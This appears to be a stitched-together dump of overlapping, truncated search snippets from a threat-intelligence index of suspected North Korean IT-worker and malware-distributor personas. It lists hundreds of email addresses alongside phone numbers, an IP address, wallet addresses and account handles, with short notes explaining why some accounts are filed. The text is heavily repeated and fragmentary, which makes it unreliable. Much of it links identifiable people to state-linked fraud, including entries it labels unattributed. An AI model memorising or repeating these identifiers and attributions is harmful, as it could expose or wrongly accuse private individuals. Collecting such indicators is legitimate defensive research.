fullstackdev3546@gmail.com fullstackninja0805@gmail.com fullstackpartner@gmail.com furiouscomet729@gmail.com gagikbabayan5105@gmail.com galoyi2320@syinxun.com garyscott0214@gmail.com garza330rona…","…gmail.com fulldev0526@gmail.com fullstack926@gmail.com fullstackcoder0322@gmail.com fullstackdev3546@gmail.com fullstackninja0805@gmail.com fullstackpartner@gmail.com furiouscomet729@gmail.com gagikbabayan5105@gmail.com galoyi2320@syinxun.com garyscott0214@gmail.com garza330ronaldo@gmail.com gbrown132915@…","….com fullstack926@gmail.com fullstackcoder0322@gmail.com fullstackdev3546@gmail.com fullstackninja0805@gmail.com fullstackpartner@gmail.com furiouscomet729@gmail.com gagikbabayan5105@gmail.com galoyi2320@syinxun.com garyscott0214@gmail.com garza330ronaldo@gmail.com gbrown132915@gmail.com gefohv6l@tonyrob…","…fasttrackhomes22444@gmail.com firstchoicepropertyagent00182@gmail.com frostlangleyzmmvy94489@outlook.com futuregrowthhooger00277@gmail.com futurehousefinder62139@gmail.com gddavila.tomas510727@outlook.com greenhousebuyersclub77084@gmail.com…","…firstchoicepropertyagent00182@gmail.com frostlangleyzmmvy94489@outlook.com futuregrowthhooger00277@gmail.com futurehousefinder62139@gmail.com gddavila.tomas510727@outlook.com greenhousebuyersclub77084@gmail.com greenviewagent00541@gmail.com…","…NPM authors Email Packages published superdev727 austin27ahn@outlook.com passports-js , bcrypts-js intelliman g65492036@gmail.com blockscan-api twitter reddit Did you…","…in Review marcello.armand.tf7@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review gabriel.sanchez255@outlook.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review aronlin712@gmail.com email malware N/A October…","…nurtissera@outlook.com aitbaunty@outlook.com e56372626@gmail.com denis0316@outlook.com dreamstone111@outlook.com gabrielamartinsghera@yahoo.com 331 MSMT Participating State information.","…The site revealed an email address “ gabriel.dev9725@gmail.com ” and phone number +558195833202.…","…email insider N/A N/A Synthetic persona email 2 nikolastojanovski2@outlook.com email insider N/A N/A Synthetic persona email 2 gabrieltamas1@outlook.com email insider N/A N/A Synthetic persona email 2 victorajdini@outlook.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Threat actor persona email 4 andriimalyshenko@yahoo.com email insider N/A N/A Threat actor persona email 4 gabrygreg1@gmail.com email insider N/A N/A Threat actor persona email 4 luckydev2289@gmail.com email insider N/A N/A Threat actor persona email 4…","…m fullstackcoder0322@gmail.com fullstackdev3546@gmail.com fullstackninja0805@gmail.com fullstackpartner@gmail.com furiouscomet729@gmail.com gagikbabayan5105@gmail.com galoyi2320@syinxun.com garyscott0214@gmail.com garza330ronaldo@gmail.com gbrown132915@gmail.com gefohv6l@tonyrobert.anonaddy.com gender.dev…","…jamesybarra114@gmail.com - jo.hnceballos0716@gmail.com - hughnolan88@gmail.com - deliminallimited.ws@outlook.com - galaxy85126@gmail.com - leopawel65@gmail.com - github.com/peterz-codes - github.com/camonanesi - github.com/wildwolf085 - github.com/leopawel -…","….com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hughnolan88@gmail.com deliminallimited.ws@outlook.com galaxy85126@gmail.com leopawel65@gmail.com Github: https://github.com/peterz-codes https://github.com/camonanesi https://github.com/wildwolf085 https://github.c…","…EvalineVaraza63@hotmail.com farrelvillarrealdngp170616@hotmail.com felip2342@techspirehub.com fhaoming7@gmail.com galihmxf11@hotmail.com garavitovillamilj@gmail.com garycorn@loopsoft.tech goldenrhynodev@gmail.com grayce@xuchuyen.com guograce902@gmail.com…","…com fullstackdev3546@gmail.com fullstackninja0805@gmail.com fullstackpartner@gmail.com furiouscomet729@gmail.com gagikbabayan5105@gmail.com galoyi2320@syinxun.com garyscott0214@gmail.com garza330ronaldo@gmail.com gbrown132915@gmail.com gefohv6l@tonyrobert.anonaddy.com gender.dev1126@gmail.com georgeba…","…farrelvillarrealdngp170616@hotmail.com felip2342@techspirehub.com fhaoming7@gmail.com galihmxf11@hotmail.com garavitovillamilj@gmail.com garycorn@loopsoft.tech goldenrhynodev@gmail.com grayce@xuchuyen.com guograce902@gmail.com guilddmelihb2r@hotmail.com…","…henryan373@gmail.com wulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.com m.in.space45@gmail.com derek.otieno.2020@gmail.com usmanjaggi1@gmail.com mr.martin.adrian@gmail.com kalezhang000@gmail.com what.a.fab…","…hera19970204@outlook.com zeus19970204@outlook.com imanwdr30@hotmail.com scarlet112603@outlook.com garnerbrandy1230@gmail.com alexandercruciata11@gmail.com danxeth436@gmail.com jennyjenkins783@gmail.com david36271@outlook.com rkupriyanof@gmail.com…","…email insider N/A N/A Synthetic persona email 2 barry__johnson@outlook.com email insider N/A N/A Synthetic persona email 2 gary__leduc@hotmail.com email insider N/A N/A Synthetic persona email 2 adamikjelen@outlook.com email insider N/A N/A Synthetic persona email 2…","…felip2342@techspirehub.com fhaoming7@gmail.com galihmxf11@hotmail.com garavitovillamilj@gmail.com garycorn@loopsoft.tech goldenrhynodev@gmail.com grayce@xuchuyen.com guograce902@gmail.com guilddmelihb2r@hotmail.com hmax23410@gmail.com…","…ail.com fullstackninja0805@gmail.com fullstackpartner@gmail.com furiouscomet729@gmail.com gagikbabayan5105@gmail.com galoyi2320@syinxun.com garyscott0214@gmail.com garza330ronaldo@gmail.com gbrown132915@gmail.com gefohv6l@tonyrobert.anonaddy.com gender.dev1126@gmail.com georgebaldilez@gmail.com georgej…","…05@gmail.com fullstackpartner@gmail.com furiouscomet729@gmail.com gagikbabayan5105@gmail.com galoyi2320@syinxun.com garyscott0214@gmail.com garza330ronaldo@gmail.com gbrown132915@gmail.com gefohv6l@tonyrobert.anonaddy.com gender.dev1126@gmail.com georgebaldilez@gmail.com georgejohnson11305@gmail.com ghol…","…email insider N/A N/A Synthetic persona email 2 victorajdini@outlook.com email insider N/A N/A Synthetic persona email 2 gavrilvasilevski001@outlook.com email insider N/A N/A Synthetic persona email 2 stojannastevski001@outlook.com email insider N/A N/A Synthetic persona email 2…","…ner@gmail.com furiouscomet729@gmail.com gagikbabayan5105@gmail.com galoyi2320@syinxun.com garyscott0214@gmail.com garza330ronaldo@gmail.com gbrown132915@gmail.com gefohv6l@tonyrobert.anonaddy.com gender.dev1126@gmail.com georgebaldilez@gmail.com georgejohnson11305@gmail.com gholmeih@gmail.com gibqb1gm…","…email insider N/A N/A Threat actor persona email 4 jinwangdev531@gmail.com email insider N/A N/A Threat actor persona email 4 gdavisiv.dev@gmail.com email insider N/A N/A Threat actor persona email 4 nicolas.edgardo1028@gmail.com email insider N/A N/A Threat actor persona email 4…","…frostlangleyzmmvy94489@outlook.com futuregrowthhooger00277@gmail.com futurehousefinder62139@gmail.com gddavila.tomas510727@outlook.com greenhousebuyersclub77084@gmail.com greenviewagent00541@gmail.com harborviewproperty07246@gmail.com henrylynbunnh91@hotmail.com…","…met729@gmail.com gagikbabayan5105@gmail.com galoyi2320@syinxun.com garyscott0214@gmail.com garza330ronaldo@gmail.com gbrown132915@gmail.com gefohv6l@tonyrobert.anonaddy.com gender.dev1126@gmail.com georgebaldilez@gmail.com georgejohnson11305@gmail.com gholmeih@gmail.com gibqb1gm@greentim1086.anonaddy.com gimlay…","…2026-09-17 tailwindcss-form-utils (0.5.1) 2026-09-17 gemec55613 <gemec55613@jobscai.com> stapi.io h.drpc.org e.com et 1r www.w3.org https://et https://1r http://www.w3.org/2000/svg…","…@gmail.com galoyi2320@syinxun.com garyscott0214@gmail.com garza330ronaldo@gmail.com gbrown132915@gmail.com gefohv6l@tonyrobert.anonaddy.com gender.dev1126@gmail.com georgebaldilez@gmail.com georgejohnson11305@gmail.com gholmeih@gmail.com gibqb1gm@greentim1086.anonaddy.com gimlayitro@gufum.com giorgieban…","…89222@gmail.com devking877@gmail.com devondeveloper99@gmail.com fantasy971114@gmail.com ferix.moore@gmail.com freshtinygrow@gmail.com geniusdev1108@gmail.com goldendev726@gmail.com jacob.rd.dev@gmail.com jacobbush211@gmail.com johnwadelinson@gmail.com koizatsuo@gmail.com liam.perrin.dev@out…","Read on 3 October 2026, after the site's operator flagged the account. The GitHub account webgently (id 105727142) was created on 17 May 2022, displays the name Legend Dev, states gently039@gmail.com as its public address, and on the day it was read had 312 followers, 23 followed and 29 repositories: casino games (diamonds, mines, plinko, limbo), an arbitrage bot, an NFT marketplace, ChatGPT applications, and a run of Laravel and Vue repositories named as hiring challenges.\n\nIts own repositories carry about 500 commits, from November 2022 to August 2024, authored webgently <oleksandrshkabura811@gmail.com>, and from October 2023 commits under gently039@gmail.com. The value that ties it to this index is in someone else's repository. newstable/chatgpt-4-web, created on 4 May 2023 on the GitHub account newstable, which this site already holds from the DPRK IT-worker list in tayvano's lazarus-bluenoroff-research and from Chollima Group's Moonstone Sleet write-up, carries fifteen commits authored webgently <oleksandrshkabura811@gmail.com> between 11 and 16 May 2023, interleaved with commits authored Anime1026 <sasuke031026@gmail.com>, an address on the same published list. That is the same author name and the same address webgently uses in its own repositories, working in a listed account's repository beside a listed address over the same week, which is why the account is filed here rather than queued as a lead. Only the account's own addresses are carried.\n\nRecorded but not carried: commits in three 2022 challenge repositories are authored galaxy-comet, one of them through a GitHub noreply address carrying webgently's own account id, which suggests galaxy-comet was an earlier login of this account; the address oleksandrshkabura811@gmail.com also appears in mirrors on the account Zhao39 and in several trading-bot and NFT-minting repositories under other owners; casino repositories carry commits by the account timewn1, created four hours before webgently on the same day; and one 2026 commit is authored webgently from an address at looter.ai that also appears on another account under other names. None of those is this account's own value, so none is filed.","…developer accounts Year in Review felipe.debarros@hotmail.com email malware N/A N/A DPRK malware developer accounts Year in Review geordiecuppaidge684@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review greatbusinessman517@gmail.com email malware N/A N/A DPRK malware…","…nxun.com garyscott0214@gmail.com garza330ronaldo@gmail.com gbrown132915@gmail.com gefohv6l@tonyrobert.anonaddy.com gender.dev1126@gmail.com georgebaldilez@gmail.com georgejohnson11305@gmail.com gholmeih@gmail.com gibqb1gm@greentim1086.anonaddy.com gimlayitro@gufum.com giorgiebanoidze425@gmail.com glasse…","…github.com/ChaiSomsri96 • [Archive](https://archive.ph/eRFnu) - t.me/chaisomsri (ID: 7022528006) - chaisomsri96@gmail.com - georgecapraroiu1205@gmail.com - melonman913@gmail.com - 0xE5a86c150ac44ab8F8B2661c9e8d8b13887360f0 - 0x9ce96e07c091662c2605eaae9180de22aad6e8db -…","…ail.com garza330ronaldo@gmail.com gbrown132915@gmail.com gefohv6l@tonyrobert.anonaddy.com gender.dev1126@gmail.com georgebaldilez@gmail.com georgejohnson11305@gmail.com gholmeih@gmail.com gibqb1gm@greentim1086.anonaddy.com gimlayitro@gufum.com giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124…","The post files these under the headings Other unattributable emails and Other unattributable names, so they anchor no persona here.","…Payment Account Emails aleecn@163.com stefaniezh7@gmail.com yisselmanrique@yahoo.com nmling_624@icloud.com 179546932@qq.com gfraticelli1@gmail.com 326 MSMT Participating State information. Pay ment Account Aliases acleen sz1234 manling glf qjh1604 Pn_lp…","….com gbrown132915@gmail.com gefohv6l@tonyrobert.anonaddy.com gender.dev1126@gmail.com georgebaldilez@gmail.com georgejohnson11305@gmail.com gholmeih@gmail.com gibqb1gm@greentim1086.anonaddy.com gimlayitro@gufum.com giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124@gmail.com god88033…","…gnedcuratedamy58@gmail.com dzsignzdcuatzdamy@gmail.com eliteengineer0523@gmail.com excellentreporter321@gmail.com fairdev610@gmail.com ghostmaxim777@outlook.com hundredup2023@gmail.com huzqur023@gmail.com info@versusx.us invite@quiz-nest.com jimmr6587@gmail.com johnkane84830@gmail.com legenda…","…mail.com gefohv6l@tonyrobert.anonaddy.com gender.dev1126@gmail.com georgebaldilez@gmail.com georgejohnson11305@gmail.com gholmeih@gmail.com gibqb1gm@greentim1086.anonaddy.com gimlayitro@gufum.com giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com…","…dy.com gender.dev1126@gmail.com georgebaldilez@gmail.com georgejohnson11305@gmail.com gholmeih@gmail.com gibqb1gm@greentim1086.anonaddy.com gimlayitro@gufum.com giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com…","…@gmail.com georgebaldilez@gmail.com georgejohnson11305@gmail.com gholmeih@gmail.com gibqb1gm@greentim1086.anonaddy.com gimlayitro@gufum.com giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com golddev53@gmail.com goldende…","…#### Kyonghung IT - 0x82ce61d10044cc0ea23215cc4b334ff0937af73c - gitstar333@hotmail.com - PayPal account used by Kyonghung IT - kang19791110@hotmail.com PayPal account used by Kyonghung IT, held under the name of Jiang Lianji…","…Uk under the name of “Lai We Wang” Table 3: Financial accounts used by Kyonghung IT workers No. Account Description 1 gitstar333@hotmail.com PayPal account used by Kyonghung IT 2 kang19791110@hotmail.com PayPal account used by Kyonghung IT, held under the name of…","…email insider N/A N/A Threat actor persona email 4 panda95718@gmail.com email insider N/A N/A Threat actor persona email 4 givometeq@mentonit.net email insider N/A N/A Threat actor persona email 4 maradanod.favomubo@vintomaper.com email insider N/A N/A Threat actor persona email 4…","…il.com georgejohnson11305@gmail.com gholmeih@gmail.com gibqb1gm@greentim1086.anonaddy.com gimlayitro@gufum.com giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com golddev53@gmail.com goldendevens@gmail.com goldendr…","…mail.com gibqb1gm@greentim1086.anonaddy.com gimlayitro@gufum.com giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com golddev53@gmail.com goldendevens@gmail.com goldendragon0710@gmail.com goldendragonlan511@skiff…","…eentim1086.anonaddy.com gimlayitro@gufum.com giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com golddev53@gmail.com goldendevens@gmail.com goldendragon0710@gmail.com goldendragonlan511@skiff.com goldlion0819@gmail…","…gimlayitro@gufum.com giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com golddev53@gmail.com goldendevens@gmail.com goldendragon0710@gmail.com goldendragonlan511@skiff.com goldlion0819@gmail.com goldrabbit214@gma…","…05@gmail.com gholmeih@gmail.com gibqb1gm@greentim1086.anonaddy.com gimlayitro@gufum.com giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com golddev53@gmail.com goldendevens@gmail.com goldendragon0710@gmail.com gold…","…메일 발신 주소 goga.dymkin@inbox.ru 일단 러시아인 것을 알면 쉽게 네이버 공식 신고센터가 아닌 것을 확인할 수가 있습니다.…","…giorgiebanoidze425@gmail.com glassespiger@gmail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com golddev53@gmail.com goldendevens@gmail.com goldendragon0710@gmail.com goldendragonlan511@skiff.com goldlion0819@gmail.com goldrabbit214@gmail.com goldstardev20…","…77@gmail.com devondeveloper99@gmail.com fantasy971114@gmail.com ferix.moore@gmail.com freshtinygrow@gmail.com geniusdev1108@gmail.com goldendev726@gmail.com jacob.rd.dev@gmail.com jacobbush211@gmail.com johnwadelinson@gmail.com koizatsuo@gmail.com liam.perrin.dev@outlook.com luckyman012357…","…mail.com glassespiger@gmail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com golddev53@gmail.com goldendevens@gmail.com goldendragon0710@gmail.com goldendragonlan511@skiff.com goldlion0819@gmail.com goldrabbit214@gmail.com goldstardev2002@gmail.com gombau1212…","…mail.com god.tyche124@gmail.com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com golddev53@gmail.com goldendevens@gmail.com goldendragon0710@gmail.com goldendragonlan511@skiff.com goldlion0819@gmail.com goldrabbit214@gmail.com goldstardev2002@gmail.com gombau1212@gmail.com goodfriend9290@s…","….com god880331@skiff.com godknight122@gmail.com godpro.1125@gmail.com golddev53@gmail.com goldendevens@gmail.com goldendragon0710@gmail.com goldendragonlan511@skiff.com goldlion0819@gmail.com goldrabbit214@gmail.com goldstardev2002@gmail.com gombau1212@gmail.com goodfriend9290@skiff.com grahasmin@gmail.com…","…freeserviceexpert@gmail.com[email protected] sadah12290@gmail.com[email protected] leoxtechdev@gmail.com[email protected] goldenharvestmidas@gmail.com[email protected]…","…lsondovi21@gmail.com asemenovboyarka@gmail.com alex@bellsstudio.site freeserviceexpert@gmail.com sadah12290@gmail.com leoxtechdev@gmail.com goldenharvestmidas@gmail.com Sites: marogus211.wixsite.com youtube.com/@liberathachannel linkedin.com/in/lian-hung-129b47158 smart.5starlink.online facebook.com/LeoXTe…","…goldenrhynodev@gmail.com , luis.fernando.dev1214@gmail.com , sean_tech208@hotmail.com , stromdev712418@gmail.com , ryon_dev_3@outlook.com ; and (3) crypto/Web3…","…vite-postcss-bootstrap 0.0.4 2025-07-16 04:36:24 hmax hmax23410@gmail.com vite-postcss-helper 3.0.4 2025-07-17 16:58:01 goldenrhyno goldenrhynodev@gmail.com vite-postcss-kit 3.0.5 2025-07-21 11:27:40 suhkuv.competition.tel suhkuv.competition.tel@gmail.com vite-mobcss-log 0.3.2 2025-08-04…","…that these are being used with malicious intents. Color Codes with Username like Blue and Gold in the Email Addresses spotted such as goldlion0819@gmail.com , goldrabbit214@gmail.com , blueapple9943@gmail.com , bluebird0125.lov@gmail.com etc. Usage of terms like “ Dev ” with many combinations…","…used with malicious intents. Color Codes with Username like Blue and Gold in the Email Addresses spotted such as goldlion0819@gmail.com , goldrabbit214@gmail.com , blueapple9943@gmail.com , bluebird0125.lov@gmail.com etc. Usage of terms like “ Dev ” with many combinations like enthusiastdev,…","…qiqq-ps@eclipso.eu - illia.butenko89@gmail.com - ddksniper@gmail.com - intellichain555@gmail.com - salbu15154@gmail.com - goldsea808@gmail.com - goldsea808@yahoo.com - mrsteevtvw418@gmail.com - ichiro@0xlancerlab.com - hanssuperdev1026@gmail.com -…","…This all leaves us with one more question: Who is sujan198703 ? Created in April 2022, the sujan198703 account has only used the email goldsea808@gmail.com[email protected] .…","…This account was tied to the email goldsea808@gmail.com[email protected] , which also shares a sister account of goldsea808@yahoo.com[email protected] . public static AESCrypto instance;…","…This account was tied to the email goldsea808@gmail.com , which also shares a sister account of goldsea808@yahoo.com . public static AESCrypto instance; public AESCrypto() { instance =…","…illia.butenko89@gmail.com - ddksniper@gmail.com - intellichain555@gmail.com - salbu15154@gmail.com - goldsea808@gmail.com - goldsea808@yahoo.com - mrsteevtvw418@gmail.com - ichiro@0xlancerlab.com - hanssuperdev1026@gmail.com - hansjkiller1026@outlook.com -…","…One additional pivot off of the goldsea808@yahoo.com[email protected] account led us to a LinkedIn profile for An AR/VR developer/project manager based out of Jilin, China (an area that…","…Workers of BABYLONGROUP ended on a cliffhanger which briefly had us looking into a suspected IT Worker named Hailong Jin using the email goldsea808@yahoo.com[email protected] and username sujan198703 .…","…One additional pivot off of the goldsea808@yahoo.com account led us to a LinkedIn profile for An AR/VR developer/project manager based out of Jilin, China (an area that directly borders the…","…email insider N/A N/A Threat actor-controlled email 1 fangshan2019@hotmail.com email insider N/A N/A Threat actor-controlled email 1 goldstar0906@outlook.com email insider N/A N/A Threat actor-controlled email 1 gtracks.onelink@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…v53@gmail.com goldendevens@gmail.com goldendragon0710@gmail.com goldendragonlan511@skiff.com goldlion0819@gmail.com goldrabbit214@gmail.com goldstardev2002@gmail.com gombau1212@gmail.com goodfriend9290@skiff.com grahasmin@gmail.com great.coffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail…","…![](./X_2025-11-22_haruto918miura.png) #### Jin Bang, Primoz Bernard - x.com/j7771122 - github.com/jbb1122 - IP: 223.165.6.13 - gombau1212@gmail.com - jbangbang1122@gmail.com - johnkalp1106@gmail.com - fairyland0926@gmail.com - talenteddolphin619@gmail.com -…","…@gmail.com goldendragon0710@gmail.com goldendragonlan511@skiff.com goldlion0819@gmail.com goldrabbit214@gmail.com goldstardev2002@gmail.com gombau1212@gmail.com goodfriend9290@skiff.com grahasmin@gmail.com great.coffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gma…","The post of 20 June 2024 walks outward from the only follower of the KaanKayabasi GitHub account, devmaster929 (registered to goodfriend9290@gmail.com, joined 15 January 2024), through a repository shared with goodfriend9290 (goodfriend9290@skiff.com), that account's only follower smartdev0119, and the accounts smartdev0119 follows, goodman4293 (goodsuperman@skiff.com) and WebWizard109707. It then describes about 250 recruiter accounts, most created in January 2024 and followed by both devmaster929 and sammorozov, and names three that pair copied LinkedIn links with invented details. The post does not name North Korea; the set is filed unattributed.","…one follower called: “Devmaster929” Press enter or click to view image in full size This follower: Devmaster929 , registered by: goodfriend9290@gmail.com Press enter or click to view image in full size By checking who he follows, we see some accounts that seems to be fake recruiter…","…on0710@gmail.com goldendragonlan511@skiff.com goldlion0819@gmail.com goldrabbit214@gmail.com goldstardev2002@gmail.com gombau1212@gmail.com goodfriend9290@skiff.com grahasmin@gmail.com great.coffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmai…","…email insider N/A N/A Synthetic persona email 2 emirapolloni@gmail.com email insider N/A N/A Synthetic persona email 2 gorantomik1@gmail.com email insider N/A N/A Synthetic persona email 2 jonasvarga1@outlook.com email insider N/A N/A Synthetic persona email 2…","…emilyjobs.rec2023@gmail.com mars.recruiting.hiring@gmail.com shauncepla.hrteam@gmail.com grace.chen.recruitment@gmail.com grace107jobs@gmail.com abdulrahman.nasser.hr@gmail.com marthamoon014@gmail.com sofia.helman@outlook.com supercrazybug.team@gmail.com…","…carrie.bale.recruit@gmail.com emilyjobs.rec2023@gmail.com mars.recruiting.hiring@gmail.com shauncepla.hrteam@gmail.com grace.chen.recruitment@gmail.com grace107jobs@gmail.com abdulrahman.nasser.hr@gmail.com marthamoon014@gmail.com sofia.helman@outlook.com…","…agonlan511@skiff.com goldlion0819@gmail.com goldrabbit214@gmail.com goldstardev2002@gmail.com gombau1212@gmail.com goodfriend9290@skiff.com grahasmin@gmail.com great.coffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmail.com gruagnes1031@g…","One post listing three names together with a single pool of addresses, phone numbers, accounts and portfolio sites, under the heading the researcher gives it. The post does not say which value belongs to which name, and it does not say the three are one operator, so only the values that name a person themselves are attributed. Everything else is recorded as a group. Independently, Group-IB's research on a reusable persona shell it tracks as cybersage14 names Dejan-Teofilovic as an identity that account shifted to, and the GitHub account under that name was already indexed from that report; this post is a second, separate citation for it. The two portfolio sites are the kind of reusable placeholder the same research describes these personas sharing. Both LinkedIn profiles and the GitHub account under the Teofilovic name returned a not-found page when the links in this post were followed, so the accounts are recorded as reported rather than as live.","…fhaoming7@gmail.com galihmxf11@hotmail.com garavitovillamilj@gmail.com garycorn@loopsoft.tech goldenrhynodev@gmail.com grayce@xuchuyen.com guograce902@gmail.com guilddmelihb2r@hotmail.com hmax23410@gmail.com hectorramirez008@outlook.com…","…developer accounts Year in Review geordiecuppaidge684@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review greatbusinessman517@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review jhmnuykbvgftrss@gmail.com email malware N/A N/A DPRK malware…","…goldlion0819@gmail.com goldrabbit214@gmail.com goldstardev2002@gmail.com gombau1212@gmail.com goodfriend9290@skiff.com grahasmin@gmail.com great.coffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com…","…drabbit214@gmail.com goldstardev2002@gmail.com gombau1212@gmail.com goodfriend9290@skiff.com grahasmin@gmail.com great.coffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforth…","…au1212@gmail.com goodfriend9290@skiff.com grahasmin@gmail.com great.coffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforthat.org guogan1988226@gmail.com guru1628823.tts@…","…ardev2002@gmail.com gombau1212@gmail.com goodfriend9290@skiff.com grahasmin@gmail.com great.coffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforthat.org guogan1988226@gma…","…futuregrowthhooger00277@gmail.com futurehousefinder62139@gmail.com gddavila.tomas510727@outlook.com greenhousebuyersclub77084@gmail.com greenviewagent00541@gmail.com harborviewproperty07246@gmail.com henrylynbunnh91@hotmail.com homedealconnect81891@gmail.com…","…futurehousefinder62139@gmail.com gddavila.tomas510727@outlook.com greenhousebuyersclub77084@gmail.com greenviewagent00541@gmail.com harborviewproperty07246@gmail.com henrylynbunnh91@hotmail.com homedealconnect81891@gmail.com homesearchpro99483@gmail.com…","…email insider N/A N/A Threat actor persona email 4 vikram.imenso@gmail.com email insider N/A N/A Threat actor persona email 4 greg.work.pro@gmail.com email insider N/A N/A Threat actor persona email 4 denish.faldu226@gmail.com email insider N/A N/A Threat actor persona email 4…","…iend9290@skiff.com grahasmin@gmail.com great.coffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforthat.org guogan1988226@gmail.com guru1628823.tts@gmail.com haltopulma@guf…","…Grin - github.com/Grin0502 • [Archive](https://web.archive.org/web/20250626063659/https://github.com/Grin0502) - Grin0502@gmail.com - t.me/NimbusDev - https://x.com/browsercookies/status/1933686204668784823 - ![](./1933686204668784823-3.png) #### BrySky -…","…smin@gmail.com great.coffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforthat.org guogan1988226@gmail.com guru1628823.tts@gmail.com haltopulma@gufum.com handsomeprince11…","…: Ruslan Vinnichuk / Ruslan DELETED / DEAD pwlkjakub@gmail.com : Ruslan Vinnichuk / V0410 / Yehor / aidenwong812 DELETED / DEAD gru.dev259007@gmail.com : V0410 ACTIVE Each of the above identities has its own history of activity.…","…email insider N/A N/A Threat actor-controlled email 1 goldstar0906@outlook.com email insider N/A N/A Threat actor-controlled email 1 gtracks.onelink@gmail.com email insider N/A N/A Threat actor-controlled email 1 happycoder1111@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…hdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gmail.com wilsonliuq2111@outlook.com munjin22@gmail.com guangheli211@gmail.com wilsondovi21@gmail.com asemenovboyarka@gmail.com alex@bellsstudio.site freeserviceexpert@gmail.com sadah12290@gmail.com leoxtechdev@gmail.c…","…ffee.dev@gmail.com greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforthat.org guogan1988226@gmail.com guru1628823.tts@gmail.com haltopulma@gufum.com handsomeprince1125@gmail.com happin…","…garavitovillamilj@gmail.com garycorn@loopsoft.tech goldenrhynodev@gmail.com grayce@xuchuyen.com guograce902@gmail.com guilddmelihb2r@hotmail.com hmax23410@gmail.com hectorramirez008@outlook.com hendriksenelise727@gmail.com hiroshi.watanabe1011@gmail.com…","…greate.coffee.ts@gmail.com green.dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforthat.org guogan1988226@gmail.com guru1628823.tts@gmail.com haltopulma@gufum.com handsomeprince1125@gmail.com happinessman0417@gmail.com happinessman…","…email insider N/A N/A Threat actor persona email 4 tramendo.M@outlook.com email insider N/A N/A Threat actor persona email 4 Gulfdom0209@outlook.com email insider N/A N/A Threat actor persona email 4 Wei861420@gmail.com email insider N/A N/A Threat actor persona email 4…","…dev8391@gmail.com greendev0317@gmail.com greyperle0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforthat.org guogan1988226@gmail.com guru1628823.tts@gmail.com haltopulma@gufum.com handsomeprince1125@gmail.com happinessman0417@gmail.com happinessman0417@skiff.com happy1542…","…galihmxf11@hotmail.com garavitovillamilj@gmail.com garycorn@loopsoft.tech goldenrhynodev@gmail.com grayce@xuchuyen.com guograce902@gmail.com guilddmelihb2r@hotmail.com hmax23410@gmail.com hectorramirez008@outlook.com hendriksenelise727@gmail.com…","…ev0317@gmail.com greyperle0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforthat.org guogan1988226@gmail.com guru1628823.tts@gmail.com haltopulma@gufum.com handsomeprince1125@gmail.com happinessman0417@gmail.com happinessman0417@skiff.com happy15422@skiff.com happyday03518@…","…2026 dianaberendi@nxlog.tech Email address 